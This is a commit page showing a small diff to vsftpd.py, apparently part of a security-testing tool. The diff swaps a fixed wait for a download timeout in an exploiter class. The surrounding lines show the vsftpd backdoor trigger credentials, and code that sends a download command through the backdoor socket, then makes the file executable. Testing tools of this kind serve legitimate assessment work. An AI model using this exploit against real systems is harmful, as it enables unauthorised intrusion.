Update vsftpd.py
This commit is contained in:
parent
0ed66f2cd8
commit
1587aa2d4c
|
@ -19,6 +19,7 @@ FTP_PORT = 21
|
||||||
TRANSFER_UPDATE_RATE = 15
|
TRANSFER_UPDATE_RATE = 15
|
||||||
USERNAME = b'USER letmein:)\n'
|
USERNAME = b'USER letmein:)\n'
|
||||||
PASSWORD = b'PASS please\n'
|
PASSWORD = b'PASS please\n'
|
||||||
|
DOWNLOAD_TIMEOUT = 300 # copied from rdpgrinder
|
||||||
|
|
||||||
|
|
||||||
class VSFTPDExploiter(HostExploiter):
|
class VSFTPDExploiter(HostExploiter):
|
||||||
|
@ -86,8 +87,8 @@ class VSFTPDExploiter(HostExploiter):
|
||||||
|
|
||||||
command = str.encode(str(download_command) + '\n')
|
command = str.encode(str(download_command) + '\n')
|
||||||
backdoor_socket.send(command)
|
backdoor_socket.send(command)
|
||||||
time.sleep(3) # wait till the file is downloaded
|
http_thread.join(DOWNLOAD_TIMEOUT)
|
||||||
LOG.info("waiting 3 seconds for download to be completed")
|
http_thread.stop()
|
||||||
|
|
||||||
#changeit to executable
|
#changeit to executable
|
||||||
|
|
||||||
|
|
Loading…
Reference in New Issue